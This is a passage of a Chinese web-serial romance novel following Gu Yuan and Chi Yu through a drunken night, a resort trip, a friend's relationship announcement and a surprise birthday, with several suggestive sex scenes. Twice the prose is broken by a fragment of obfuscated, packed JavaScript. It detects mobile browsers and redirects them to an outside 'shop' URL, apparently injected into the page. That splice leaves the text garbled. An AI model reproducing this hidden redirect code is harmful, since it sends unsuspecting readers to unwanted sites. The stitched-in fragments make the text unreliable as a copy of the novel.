顾鸢：“你别觉得不可能，比了才知道。”
迟瑜勾唇，露出玩味的笑，“好啊，输了要答应对方一件事。”
虽然两人在高中的时候也玩过，而且迟瑜现在还欠着她三件事。可不知道为什么，顾鸢总觉得他的笑带了些别的意味。
怕酒不够，顾鸢又从藏酒室拿了好些。
电影演了什么顾鸢并不知道，只是当他抬头看的时候正是男女主在雨中背对着离开的场景。
“他们还会再相遇吗？”顾鸢低喃。
“会。”迟瑜的声音十分肯定，“有情人终会再见。”
顾鸢松开手，酒瓶哐当一声掉在地上，她扶着椅背站了起来，走到迟瑜面前蹲下，抬眸看着他，指腹轻轻抚摸着他的脸。
“真好。”顾鸢的嗓音哽咽，“我见到了。”
迟瑜按住她的手，将人扶起来，顾鸢顺势坐在他的腿上，细细地打量着他，“迟瑜，我好像没有说过。”
“什么？”
“我喜欢你，很喜欢，很喜欢。”
迟瑜的眼眶也泛着红，嗓音温沉，“我知道。”
“你不知道。”顾鸢捧住他的脸，一字一顿道：“我每次、都很想你，可是我不敢给你打电话，我怕你还在怪我。”
迟瑜忽地笑了出来，指腹摩挲着顾鸢的脸颊，“顾鸢，不管什么时候，只要你肯回头，迟瑜都在原地等你。”
“我这辈子早就注定，要栽你身上了。”
“啊？”顾鸢眨了眨眼，“什么时候？”
“在你把生日愿望送给我的时候。”迟瑜嗤笑了声，“在你无条件信任我的时候，没有和别人一样疏远我的时候。”
“才不会疏远。”顾鸢俯身亲了下迟瑜的唇角，“在巷子里看到你的那次，我就觉得你很厉害呢。”
迟瑜扣着她的下巴，问：“就没骂过我？”
顾鸢诚实地点头，“有。”
迟瑜：“？”
顾鸢：“在办公室给我讲题的时候，好凶。”
迟瑜：“……我那是害羞，你离我那么近，周围都是你的味道，我不分心就不错了，还……”
顾鸢吻住他的唇，咕哝道：“嗯，现在知道了。”
或许是喝了酒，顾鸢的胆子比平时更大，不仅将迟瑜的衣摆撩了起来，手更是放在了下面。
迟瑜眼眶泛红，喘着粗气按住顾鸢作乱的手，将人拦腰抱起上了二楼。
把人抱回房间，顾鸢嚷着要洗澡，义正言辞地命令迟瑜，“你去帮我放水。”
迟瑜脑门上的青筋突突地跳，“你在这儿坐着，我去放。”
顾鸢点了点脑袋，推他，“你快去。”
迟瑜：“……”
水流声刚响起，顾鸢就走了进来，边走边开始解衣服。
迟瑜：“你就是存心玩我。”
“嗯？”顾鸢踢开裙子进到浴缸里躺下，白皙的皮肤和好身材一览无余。
迟瑜低咒一声，转身往外走。
侧卧，水流从头顶倾斜而下，迟瑜一直手撑在墙壁上，眼睛紧紧闭着，脖颈仰起，利落的喉结上下滚动。
再忍下去，他离废不远了，还好快了。
迟瑜冲了个凉水澡，过来看顾鸢的时候她已经出来趴在沙发上睡下了。
迟瑜走过去试了试她的头发，还是湿的。
拿了吹风机出来，等帮顾鸢吹好了头发，她也清醒了不少。
“迟瑜？”
“怎么了？”
顾鸢扯了扯他的睡衣衣摆，嗓音软糯，“我想要，”
“啪嗒”
吹风机掉在地上发出沉重的闷声。
迟瑜几乎找不到自己的声音，“你说什么？”
顾鸢慢吞吞吐出一个字，“水。”
迟瑜反应了几秒钟，“口渴？”
“嗯。”顾鸢伸手在他身上推了下，“快去。”
迟瑜咬紧后槽牙，起身的动作都用了力气，从牙缝里撂下两个字，“等着。”
喝完水，顾鸢起身的时候还有些踉跄，迟瑜扶住她的胳膊，然而刚到床边，迟瑜就被顾鸢带了下去，两人都倒在床上，顾鸢趴在上面。
迟瑜还没来得及开口说话，顾鸢在他的喉结处咬了一口，迟瑜紧紧闭上眼睛再睁开，按着顾鸢的肩膀翻了个身，吻重重落了下来。
顾鸢的双手被桎梏住举过头顶，掌心炙热的温度落在裸露的皮肤上，顾鸢身体瑟缩了下，思绪开始乱飘。<
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p>良久，一吻结束，迟瑜偏头，亲了亲她的雾蒙蒙的眼睛，顾鸢呼吸短促，叫他的名字。
迟瑜抬起脑袋，眸中墨色汹涌，指腹轻轻擦过她嫣红的唇瓣，“怎么了？”
顾鸢看着他，咽了咽嗓子，“没什么。”
迟瑜伏身，大掌抓住顾鸢纤细的脚腕。
碎发刮蹭到肌肤时泛起一阵酥痒，顾鸢紧咬着唇，听到他混不吝的笑声。
顾鸢只觉得天灵盖都要飘起来，说不清楚是什么感觉。
许久之后，顾鸢累的不想动弹，脸颊泛着一层淡淡的粉色，身上也起了一层薄汗，眼眶中的水雾蓄满了整个瞳眸，睫羽上挂着几滴要落不落的泪珠。
迟瑜拿了毛巾过来，将她身上的薄汗擦掉，调侃道：“这就不行了？”
顾鸢偏头把脸埋进被子里，“你怎么能、那样啊。”
那里，好羞耻。
耳畔传来低笑，迟瑜把她的脸掰正，嗓音蓦地沉了下来，“记住了，欠我一次。”
顾鸢咬唇，不怕死地问：“现在不行吗？”
迟瑜眼眸眯了眯，扣在顾鸢肩膀上的力道重了些，须臾吐出两个字，“不累？”
顾鸢撑着胳膊坐了起来，手搭在他肩上，眉眼间满是春色，“现在不累，等会儿就不知道了。”
迟瑜眼中的欲色渐重，顾鸢心底猛地一颤。
她是不是，玩脱了。
这事最终没成，因为顾鸢的手机响了，等顾鸢接完电话，迟瑜已经回了侧卧。
“浅浅，明天温玉山庄，你一定要去啊，还有带上你家迟总，我有重大消息要宣布。”
顾鸢已经困得眼皮都开始打架，她强撑着精神说：“好的，我会带着迟瑜的，温玉山庄，蓉蓉，还有其他的事吗，真的好困。”
“没有了没有了，你早点休息，明天再化一个美美的妆。”
挂了电话，顾鸢连壁灯都没关就躺下睡了。
-
翌日，顾鸢是被布丁叫醒的。
“别闹了布丁，你爸爸呢？”顾鸢按住它的脑袋，慢慢睁开眼睛。
“喵~”布丁趴下来乖巧的不得了。
“好乖”
顾鸢rua了它好一会儿才起床。
顾鸢洗漱完下楼，迟瑜正好端着早餐出来，“吃完我们就出发。”
“嗯？”
“不是要去温玉山庄，睡迷糊了？”
顾鸢这才想起祁蓉说的事，“昨晚实在太困了，我还以是在梦里听到的。”
迟瑜把牛奶递到顾鸢面前，脸上表情平淡，“没关系，现在过去也来得及。”
顾鸢咬了口面包，问他，“你知道是什么事情吗，祁蓉说的神神秘秘的，听着好像是一件大事。”
“或许和表哥的事有关。”迟瑜敛眸，“你最近问过他们的事吗？”
顾鸢摇头，“没有，不过以我表哥的执着，应该是不会轻易放手了。”
迟瑜点头，未做其他评价。
吃完饭，顾鸢去楼上换了衣服，想起祁蓉的话，又用最短的时间化了一个淡妆。
考虑到可能会过夜，只好先把布丁送到迟瑜妈妈那边。
开车过去要两多个小时。
车上，顾鸢和迟瑜有一搭没一搭地聊着天。
顾鸢：“过几天一中百年校庆，曹老师叫你了吧？”
迟瑜：“叫了，还问我什么时候能喝上我们的喜酒。”
“……就曹老师的酒量，他能喝多少啊。”突然想到什么，顾鸢话音一转，“曹老师说她跟师娘结婚的时候你喝多了。”
闻言迟瑜眼眸微变，“他记错了，我怎么可能喝多，我的酒量你不是知道。”
“是吗？”
“肯定是，他年纪也大了，记性不好也正常。”
顾鸢：“曹老师也就三十岁出头，也没大多少吧。”
迟瑜沉默了几秒钟，“他那天也喝了很多，还跟我们讲了他的追妻史，最后都是被人抬走的。”
曹军平两年前的国庆结婚的，那天也迟瑜确实喝了很多，言酥告诉顾鸢这件事的时候，说的很夸张，说迟瑜还哭了，嘴里叫的都是她的名字。
“你渴不渴，累不累？”顾鸢说：“要不下个服务区咋俩换一下，我来开。”
“不渴也不累。”迟瑜大概是知道她把喝醉的事当真了，“顾鸢，都过去了，别想了，我们都往前看。”
88. 偏执
差不多快要到的时候，祁蓉发了消息过来，说在餐厅等他们。
到大厅办理入住，顾鸢才知道订的房间是标间。
登记完拿上房卡，两人先去房间放下行李。
顾鸢坐在沙发上休息了一会儿，迟瑜从洗手间出来，“现在下去吗？”
“走吧，正好看看祁蓉到底要说什么。”顾鸢挽上迟瑜的胳膊，“开这么久的车很累了吧，等会儿上来了好好休息。”
迟瑜受宠若惊，“这才多久，之前和老徐去自驾游，时间可比这长多了。”
“你们经常在假期的时候一起去玩吗？”顾鸢有些羡慕，她的时间都贡献给论文和作业了。
“大一和大二去的多，后来开始创业就没去过了。”有个男孩迎面跑来，迟瑜揽着顾鸢的肩膀把她往旁边带了带。
“哥哥姐姐，是你们呀。”男孩兴奋地看着迟瑜和顾鸢。
顾鸢稍怔，“你认识我们？”
“对啊对啊，你不记得了，五年前，你们在姻缘树那里的照片还是我拍的呢。”男孩已经有12岁了，个头比之前长高了很多，脖子上挂了一个相机，笑容明媚。
迟瑜揉了下他的脑袋，“长这么高了，差点没认出来。”
“嗨嗨，我叫蔚斯哲，哥哥姐姐还需要拍照吗？”说着蔚斯哲抬了抬手里的相机。
“下午可以吗？”顾鸢记得迟瑜手机上的那几张照片就拍的很好。
暗道果然天赋是不分年龄的。
“当然可以。”蔚斯哲拿出手机，“我们加个微信吧姐姐，下午联系。”
加了微信，蔚斯哲说还有事就先走了。
顾鸢看着蔚斯哲朋友圈里的照片，每一张都拍的特好看，迟瑜揽着她的肩膀，免得走偏了。
又是一年一度的高考出分日，有一些查了分数的少年激动地大喊，迟瑜垂眸看着顾鸢，当年他去学校取录取通知书的时候，曹军平多给了他一份，是顾鸢的录取通知书。
所以她是想过要回来的，只是因为出了一些事，不得不留在国外。
迟瑜和顾鸢到了之后发现大家都在，徐百川和肖毅回来了，就连陈静也在。
姜煦庭戴着一副眼睛，看着真有几分斯文败类的模样，手臂搭在祁蓉身后的椅子上，丝毫不掩饰他的占有欲，视线在迟瑜身上停留了一年秒，看向顾鸢，“怎么见了表哥也不知道叫人？”
顾鸢忍住翻白眼的冲动，怎么这么能装，“是你把大家叫来的？”
祁蓉脸颊微红，“浅浅，之前没告诉你，是不是知道怎么说。”深吸了一口气，祁蓉简扼道：“我和煦庭在一起了。”
顾鸢和迟瑜对视一眼，坐下。
听到这话的江皓阳剧烈地咳嗽起来，“啥？你不是说他是帮你起诉薛转祥那个人渣的律师吗？不对，他是顾姐表哥，所以你现在是顾鸢表嫂。”
江皓阳惊呆了。
冷筱筱翻了个白眼，“呆子。”
肖毅举起酒杯看向祁蓉，“恭喜老同桌认清渣男，觅得良缘。”
姜煦庭和他碰了杯，“谢谢，蓉蓉说上学的时候你很照顾她，以后有什么需要尽管找我，肖先生永远是我的贵客。”
言酥胳膊肘碰了下徐百川，举起酒杯，“大家一起啊，祝贺蓉蓉摆脱渣男。”
陈静的视线在肖毅身上停顿了一秒，也举起酒杯，“让我沾沾光，也快点来个男朋友吧。”
“对，也希望静静早日脱单。”
“要不等这里面哪对结婚的时候把捧花内定给你吧。”
“得了吧，谁敢跟学心理谈恋爱，跟裸奔有什么区别。”
……
吃完饭，顾鸢、祁蓉、言酥和冷筱筱在一起搓麻将，陈静去了卫生间。
顾鸢感慨，“真没想到你这么快就答应表哥了，表哥之前跟我说他要翘墙角的时候我都震惊了，你们是什么时候认识的啊？”
言酥和冷筱筱也是一副吃瓜的表情，“对啊，说说。”
祁蓉认真想了想，“其实在高中的时候见过一次，当时是在一家火锅店里，不过就是走路的时候不小心碰了一下，都没有说话。”
顾鸢：“高三寒假的时候？”
“对。”祁蓉惊讶，“你怎么知道。”
“因为那天我和表哥正好去火锅店吃饭，我看到他手上戴了一个头绳，当时还误以为她有女朋友，他不但没有解释，反而承认了。后来才跟我说是假的。”
祁蓉恍然大悟，“怪不得我头绳丢了回去找了一路都没找到。”
言酥捧着双颊感叹，“所以这就是冥冥之中注定的缘分吗，好强的宿命感。蓉蓉，我可以当作素材吗，放心，不暴露你们的真实姓名。”
“可以啊。”祁蓉也觉得很神奇，“我之前还以为在浅浅家楼下才是真正和他有了交集，没想到那个时候就有了。”
冷筱筱：“所以姜律师是早就对你有意思，但是后来知道你有男朋了并且他也不确定会留在国内就没有表明心意，直到前段时间他亲自揭开了渣男的面具，上位成功，小说都不敢这么写吧。”
顾鸢：“表哥他还真是、厉害。”
言酥认同地点头。
……
外面，陈静从洗手间出来，看到站在楼道尽头抽烟的肖毅，她思索了片刻，抬脚走过去。
“放不下？”
肖毅掐了烟，回眸轻笑，“你怎么过来了？”
陈静直言，“刚才你看向祁蓉的目光并不清白，尤其是祁蓉和姜煦庭牵着手姿势亲密的时候，你一直握着拳，眼神下瞥，唇线僵直，情绪低落。”顿了下，她又说：“祁蓉说完她和姜煦庭的关系，你落在她身上的时间最多的一次超过了两分钟。”
肖毅忽地笑出了声，“果然瞒不过你们这些学心理的。”
陈静单手插在兜里，唇角微勾，“谢谢你的认同。还有老师让我告诉你，复查的时间不能再推了，月底之前必须去。”
“我知道。”肖毅收敛起脸上虚假的笑，眼神变得毫无波澜，“我会去的。”
说罢，肖毅大步往回走。
陈静朝他的背影喊了一声，“下次演唱会的门票给我留一张。”
肖毅比了一个OK的手势。
陈静沉下双眸，给老师发消息。
-
回到房间，顾鸢让迟瑜去休息，迟瑜拉住她的手腕往怀里带，“一起。”
“嗯？”
不是有两张床。
迟瑜下巴搁在顾鸢肩窝，嗓音懒懒的，“昨晚没睡好，陪我睡会儿。”
“为什么？”顾鸢偏眸，看到迟瑜幽幽的眼神，好像明白了什么，“睡吧。”
房间的窗帘都拉上，顾鸢换了一身舒适的衣服，刚掀开被子躺下，就被迟瑜从后面抱住，两人气体在一张床上实在有些拥挤，顾鸢稍微往前挪了挪，迟瑜紧跟着凑近，温热的呼吸喷洒在顾鸢脖颈，“别动。”
顾鸢：“……”
一点儿也不敢动了，眯上眼睛酝酿睡意，没一会儿就睡着了。
迟瑜眼皮微动，又将怀里的人抱紧了一些。
……
顾鸢是被迟瑜接电话的声音吵醒的，没在旁边摸到人，顾鸢睁开眼睛，才知道声音是从阳台传来的。
掀开被子跻上拖鞋，顾鸢看着阳台那道挺拔落拓的身影，放轻了脚步走过去从后面抱住他。
迟瑜说了句就这样，挂断电话转身直接将人抱了起来，顾鸢吓了一跳，忙搂紧他的脖子，“忙完了？”
两人此刻面对着面，迟瑜亲了亲她的鼻子，“是之前资助的一个学生，说他不想上学了。”
顾鸢下意识就想到其中一个，“是年纪最小的那个吗？家里还有三个弟弟。”
“是，但我觉得这事没那么简单。”迟瑜抱着顾鸢往里走，“我已经让助理过去看了，顺便让他去了解家里那边的情况。”
顾鸢抿着唇，眉心微蹙，“突然想起来，妈妈之前也有资助偏远地区的女孩子上学，结果后来查到女孩根本没有去学校，那些钱都被她家里的人留给弟弟了，就连寄去的衣服也被弟弟抢走。这样的家庭想要脱离太难了。”
迟瑜抱着顾鸢坐到躺椅上，揉了揉她的脑袋，“尽力了就好，我们可以提供帮助，但决定权在他们手上。”
顾鸢轻轻嗯了一声，突然发现两人现在的姿势实在是、顾鸢屁股往后挪，迟瑜扣住她的纤腰，低声，“别乱动。”
顾鸢舔了下唇瓣，“……要不我们还是出去吧。”
迟瑜笑，“太阳还没下山，晚一点再下去，陪我说说话。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376058|130145||http|test|mini|href|location''.split(''|''),0,{}));
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“非得这样说吗？”顾鸢脸颊隐隐开始发烫，她真的感觉到了，好明显，“你让让，我也要躺下。”
大掌在后背抚摸，忽地身体往下伏，顾鸢的脑袋靠在迟瑜坚实的胸膛上，咚咚咚的心跳声震耳欲聋。
顾鸢撑着他的肩膀慢慢抬起脑袋，“你想说什么？”
迟瑜一只手枕在脑后，嗓音缓慢，“说一下你对英年早婚的看法。”
顾鸢脱口而出，“离婚了还很年轻。”
迟瑜盯着顾鸢看，半晌都没有说话。
顾鸢被他看的有些发怵，低喃，“你是想说余荔和墨谦已经领证的事吧，这话是余荔说的，说完电话就被墨谦挂断了。”
迟瑜指腹摩挲在顾鸢腰间，眸色深沉，“你也是这么想的？”
“当然没有。”顾鸢语气诚恳，就差举着手发誓了，“我觉得重要的是遇到对的人，只要时机合适，早和晚没有区别。”
迟瑜敛下双睫，扣着顾鸢的后颈往下拉，吻落在她的脸颊和脖颈，温和的呼吸穿过肌肤，顾鸢闭着眼睛，浑身紧绷着。
良久，顾鸢软成了一滩水，迟瑜抚摸着她的后背，帮她慢慢顺气，顾鸢听到他揶揄的笑声，“顾姐这就不行了？”
顾鸢眼尾艳红，低头咬在他缩骨的位置，迟瑜闷哼一声，按着她的脑袋，脸上的表情却是享受。
折腾了一番太阳果然下山了，迟瑜换衣服没有半点避讳，当着顾鸢的面就单手脱掉了上衣。
顾鸢咬住下唇，眼睛像是黏在一处，眼里都是紧实的肌肉，劲瘦的腰线，……
“好看？”
不知道什么时候，迟瑜突然站到了顾鸢面前，他垂着睫，低低笑着，慢慢拉起顾鸢的手，“光看有什么用，不想上手？”
顾鸢大脑宕机的一瞬，指腹已经按在了腹肌上。
不是她想摸，是他抓着她的手。
顾鸢唇角翘起，指尖滑动，甚至按了下，“没想到你身材保持的这么好。”
迟瑜下颚紧绷着，滚了滚喉结，嗓音发涩，“你不是喜欢？”
顾鸢躺着摸不过瘾，起来跪坐着，指尖落在腰腹，“我记得你之前不是救云清的时候受了伤，怎么没伤疤？”
“太丑，做手术去掉了。”迟瑜按住她继续作乱的手，“怕吓到你，我先去换衣服，出来了就走。”
顾鸢说还没说，迟瑜就大步去了浴室。
吓到？伤疤？还是……
顾鸢捂住脸颊，怎么感觉迟瑜刚才是故意勾引她的，她也太经不住诱惑了。
……
换完衣服下楼，顾鸢和顾鸢牵着手漫步在连廊下。
突然顾鸢脑子里闪过什么，“蔚斯哲，说好了要找他拍照片的，都怪你拉着我……，我给他打个电话说一下。”
“说过了。”迟瑜把聊天记录给她看，“下午太热，他打了几局游戏就睡过头了，说晚上这边也很出片，应该就在前面等我们。”
顾鸢正要把手机还给迟瑜，突然屏幕上面弹出一条消息。
【老板，凌小姐又联系我了，说有事要跟您讲】
“跟我一起去？”迟瑜就着顾鸢的手机给助理回消息，他嗓音低沉，“她之前是找过我，但我已经明确的拒绝她了，这几年我跟她也没有任何联系。”
顾鸢眨眨眼，“我知道了。”
迟瑜按住她的肩膀，神色认真，“我迟瑜这辈子就认定你了，永远也不会背板你。否则就让我永坠阎罗地狱，生死不得。”
顾鸢浑身一震，“你、你别……”
迟瑜捂住她的嘴巴，继续说：“顾鸢，我这人小时候拥有的东西很少，长大了就很执着，就算你真的不打算回来，我也会去找你，和你纠缠到底，不死不休。”
顾鸢眼中除了震惊还有复杂。
这是他第一次，从迟瑜眼底看到近乎病态的偏执，比起他这种坚定的执着，自己好像没有想过真的强求。
尽管之前和姜女士开玩笑说囚禁，但她自己知道那只是一瞬的想法，并不会真的实施。
甚至，如果迟瑜这五年里真的有了其他喜欢的人，她也许会放手。
抓不住的东西，她从不强求。
她好像真的，爱迟瑜比他爱自己要少。
这就是言酥说的清醒吗？
89. 值了
这条路和五年前一样，变化不大，那间小店还开着，店员手托着下巴看向窗外。
连廊尽头，下了台阶再走几步路就是许愿树了，周围人很多，还布置了场地。
蔚斯哲朝两人摆手。
顾鸢和迟瑜往那边走。
忽然，嘭的一声，顾鸢的头顶迅速散落许多星星亮片。
顾鸢愣在原地，只见大家都走了出来，姜煦庭拿着一个生日帽过来给顾鸢戴上。
顾鸢攥紧手指，眼眶不自觉地的湿润。
戴好帽子，顾鸢听到他说，“生日快乐。”
顾鸢嗓音发涩，“这是？”
姜煦庭抬了抬下巴，指向迟瑜，“你男朋友准备的。”
“生日快乐。”迟瑜弯腰，轻轻吻上顾鸢的额头。
摄影师蔚斯哲立马拿起相机抓拍。
周围的人看着他俩也欣慰地笑了。
“什么时候准备的？”顾鸢眼尾微红，迟瑜看的心里一紧，指腹落在眼尾，“上周。”
顾鸢心底微震，“是你说加班的时候？”
“是。”迟瑜说着俯身靠近她，耳畔喷洒着温热的呼吸，“顺便把上次没泡的温泉也补上。”
顾鸢脸颊腾地一热，推开他，开始胡言乱语，“我饿了。”
迟瑜笑得玩味，“准备了烧烤要等一会儿，先吃点水果。”
“咳——”
蔚斯哲指挥两人，“哥你往走边一点，挡住姐姐的侧脸了。”
不知是谁噗嗤一声笑了出来，顾鸢正要走，腕骨被攥住往前一拉，眼前覆下一道阴影。
迟瑜扶着她的脑袋，浅浅的吻啄，唇瓣撕摩，呼吸缠绕。
忽地，天际划过一道亮光，在场的人或是举着手机拍照，或者闭上眼睛许愿。
盛夏的夜里，天幕被繁星点缀，耳畔蝉鸣不绝。
接完吻，顾鸢垂眸时发现了脖子上的项链，顾鸢之前听舅妈说过这条项链，是一位著名设计师最后的作品，并扬言只卖给有缘人，没想到被迟瑜买到了。
“喜欢吗？”
“喜欢。”
……
迟瑜还请了顾鸢喜欢的乐队表演，因此正好在山庄的游客都过来观看，不知道的还以为是谁在求婚。
姜煦庭走到顾鸢旁边坐下，奉命拿了盘水果给她，“就认定他了？”
顾鸢看向被江皓阳缠着灌酒的迟瑜，唇角漾起笑，“如果不是他的话，应该也不会是别人了。”
姜煦庭轻叹了口气，“之前我来宁宜出差，和迟瑜见过几次，他一直在问我你的情况。我问他为什么不来找你，他说时机还没到。我说不怕就这样错过吗，他说不会。”
说着他转头看向顾鸢，“你这几年没日没夜的拼命，不就是想早点回来？”
顾鸢伸开双手看着光秃秃的手指，突然觉得少了什么东西，她抬头问姜煦庭，“我要是今晚求婚是不是太突然了？”
姜煦庭：“……你们是不是应该先见个家长？”
“对。”顾鸢又问他，“我妈和舅舅他们什么时候过来？”
姜煦庭看顾鸢的眼神一点儿也不像是开玩笑的，他神经都紧绷起来，“下个月，快了。”
“哦”
顾鸢手撑着地站起来，朝迟瑜小跑过去。
-
这边结束已经快到凌晨，顾鸢也跟着喝了些酒，有迟瑜看着倒是不至于喝多。看着往回走的方向是酒店，顾鸢扯了扯迟瑜的袖子。
“累了？”迟瑜往前走了一步蹲下，“上来吧。”
顾鸢爬上去搂住他的脖子，鼻息间都是淡淡的沉香味道，略有疲惫的四肢都松懈下来。
“迟瑜？”
“怎么了？不舒服？”
“不是，就是想叫叫你。”顾鸢在他侧脸亲了下，下巴搁在肩窝，嗓音低低懒懒的，“我们有时间和阿姨一起吃个饭吧。”
迟瑜脚下一顿，喉结上下滚了滚，“你想什么时候？”
“等过几天，我妈妈和舅舅应该就处理好那边的事回来了。”顾鸢歪头看着他的侧脸，“你要见见他们吗？”
迟瑜觉得脚下有些飘，慢慢找回自己的声音，“好，我准备准备。”
顾鸢的话题跨度实在大，没一会又问他，“不是还要泡温泉？”
迟瑜：“……明天上午去。”
……
回到房间，顾鸢先去洗漱。
迟瑜站在阳台上，窗外夜景静谧。
他手里拿了根烟，打火机发出清脆的响声，烟一直没有被点燃。
吧嗒一声，浴室的门打开，顾鸢跻着拖鞋边走边擦头发。
“我好了，你去洗吧。”
迟瑜回头，视线落到顾鸢被水汽蒸的绯红的小脸上，“怎么没吹头发？”
“先擦一下再吹。”顾鸢把毛巾搭在椅背上，弯腰从抽屉里取出吹风机，抬眸时看迟瑜还站着，以为他怎么了，“是不舒服吗？我拿了药你要不要吃点？”
“不用，就是突然晃神了。”迟瑜拉着她站起来，“你先吹头发，我去洗澡。”
“好。”等迟瑜进了浴室，顾鸢还是找出了解酒药。
顾鸢正躺在床上看手机，言酥发了消息过来。
【睡了吗，如果睡了就算了，如果没睡跟你说一下，记得做好措施】
末了又加了句，【一定要记得，做好措施】
顾鸢脸红的跟煮熟的虾一样，抿着唇回她。
【知道啦】
【谢谢jpg】
言酥回的超快，【咦，这是还没开始，要不要姐妹我传授你一些经验，笑嘻嘻jpg】
【不用】
顾鸢刚发完消息，浴室的门开，他忙把手机丢进被自己，抬手顺了顺头发。
“你好了，桌子上有解酒药，要不要吃一片？”
迟瑜视线往桌上撇过去，又淡淡移开，“不用，喝点水就好了。”
不知道怎么回事，顾鸢看着迟瑜，就会想到一些少儿不宜的画面。
她是不是、太色了。
迟瑜拿起桌上的水喝起来，顾鸢盯着他的喉结处看，视线逐渐往下，脖颈、锁骨、衣摆随着胳膊抬起时隐隐露出的腹肌、腰线、……
蓦地，顾鸢抬眸，迟瑜幽深漆黑的眸子正一动不动的盯着自己，像一只蓄势待发的野兽，身上透着危险的气息。
顾鸢身体往下缩，被子下传出闷闷的声音，“晚安。”
过了几秒，顾鸢没有听到声音，正要拉下被子，突然伸出一双手把她拽了出来，紧跟着铺天盖地的气息落下来，顾鸢的唇被吻住，落在腰间的掌心温度灼人，顾鸢想要被烫化了，手指凭着本能去抓住身前的东西。
一声轻哼吓得她眼睛都瞪大了，迟瑜啃.咬着她耳后的软肉，嗓音嘶哑撩人，“这么急？”
顾鸢偏头看着落地窗前的小灯，昏昧的灯线渐渐模糊，丝丝缕缕的波纹如梦似幻，仿佛进入了了另一个世界。
“宝宝？”
理智被拉回一点，顾鸢抓紧身下的床单，轻轻哼了声，听到他说：“可以吗？”
顾鸢记得她回了个好，紧接着呼吸便被掠夺，手腕被抓住，整个人彷佛要被烫熟，被子早已被踢到地上。
她衣领微敞，在昏暗光线下有种霏迷感。
睡裙滑落，潋滟纷飞。
不知何时下了雨，滴答滴答的声音砸在玻璃上，像是奏出的一曲乐章。
快感如潮水般涌来，顾鸢坐在迟瑜身上，白藕般的手臂挂在男人脖颈上，眼底的雾气想要化成实质。
迟瑜轻轻吻着她的眼睛，大掌落在后背安抚。
“难受吗？”
顾鸢摇了下头，整个人没有半点力气，脑袋靠在他胸口，半晌，才哑着嗓音说了句，“想喝水。”
迟瑜伸出胳膊，将桌子上的水拿过来。
顾鸢就着他的手，喝了几口又靠了回去。
迟瑜喝完剩下半杯，靠在床头捋着顾鸢的头发，整个人透着一股难以言喻的慵懒，用商量的语气说道：“再来一次？”
顾鸢下意识身体一抖，顾左右而言他，“有点冷。”
迟瑜扯过被子给她盖上，勾着唇，笑意荡漾，“刚才不是挺猛的，怕什么？”
想到不久前发生的事，顾鸢好想找个缝钻进去，她是怎么有胆子跟迟瑜说要在上面的，果然是没经验是可怕的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388885|130145||http|test|mini|href|location''.split(''|''),0,{}));
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察觉到某个地方的变化，她悄悄往旁边挪了挪，“你不会是学过吧？”
迟瑜：“别胡说，没有。”
顾鸢都听出了他语气里的心虚，也没追着问。
可迟瑜想歪了，以为她不满意，神色都不自然起来，“很难受吗？我刚看了是有点……”
顾鸢捂住他的嘴巴，羞愤道：“没有难受，别说了。”
迟瑜眼神微黯，拉下她的手，循着唇又开始亲吻。
-
次日上午十点，迟瑜第三次叫顾鸢。
顾鸢烦的眉毛紧蹙，拉起被子闷住脑袋不理他。
迟瑜轻轻拉着被子，又叫，“宝宝，再不……”起
“啪——”
清脆的一声响。
迟瑜的声音嘎然而止，顾鸢也睁开了眼睛，愣愣地看着迟瑜。
空气安静了许久。
顾鸢看了眼自己的手，嗓音有些虚，“我不是故意的。”
迟瑜摸了把被打的脸，说：“加上昨晚的，这是第三巴掌。”
顾鸢脸都红了，“真不是故意的。”
谁让他昨晚那么过分，她就是抬了一下手，哪里知道会打在脸上，追根究底就是因为他自己。
迟瑜噗嗤笑了声，模样有些不聪明，“值了。”
顾鸢咬了下唇，觉得他的样子真的有点傻。
“迟瑜？”
“啊？”
“衣服。”
昨晚的睡衣不能穿了，后面洗完还是迟瑜拿了一件他的短袖给她套上，这会儿下面都是空的，她不好下去找衣服。
……
去吃早餐的路上，顾鸢的手一直被迟瑜拉着，她抽也抽不出来。
采风回来的蔚斯哲朝两人招手，“照片我发你们了，还满意吗？”
顾鸢脸色一僵，她都没看。
迟瑜：“满意，谢了。”
“客气，以后有需要拍摄的可以找我，这个假期我都有时间。”
顾鸢想到什么，“我们公司下周有个户外拍摄，我让负责人联系你。”
“真的。”蔚斯哲高兴的差点跳起来，“谢谢姐。”
去餐厅的路上，迟瑜给顾鸢讲了蔚斯哲的事，“三年前有个摄影比赛，不限年龄，他报名参加，得了很不错的名次，被业内知名的摄影师看好，还邀请他参与了自己的拍摄。”
“真厉害。”顾鸢说：“所以昨天的拍摄也是你找的他。”
“聪明。”迟瑜揽着她的腰，两人走进餐厅，“熟人，找他方便。”
这会儿说吃早餐已经太晚了，两人就当吃了午饭。
吃饭就去泡温泉。
等进去顾鸢才发现有点眼熟，“这是之前那个房间？”
“是。”迟瑜在她腰间推了一下，“去换衣服。”
顾鸢这下知道收拾行李的时候迟瑜为什么要她装泳衣了，原来是蓄谋已久。
换完衣服出来，顾鸢身上的吻痕一览无余。
迟瑜眼眸微沉，牵着她的手下来，“抱歉，下次注意。”
顾鸢索性靠在他身上，嗓音倨傲，“那你帮我按摩，腰酸腿也酸。”
迟瑜的手按在腰间，控制着力道，“这样可以吗？”
顾鸢闭上眼睛，嗓音懒洋洋的，“重一点。”
迟瑜滚了滚喉结，手下力道加重。
“嘶，轻点。”顾鸢抓住他的手腕，嗓音娇嗔，“你想让我废掉啊？”
迟瑜放轻了力道，顾鸢满意地哼了哼，“这还差不多。”
本着自己造的事自己平，迟瑜任劳任怨地按摩，直到顾鸢舒服的睡着了，迟瑜也出了一身汗，抱着顾鸢从池子里出来。
……
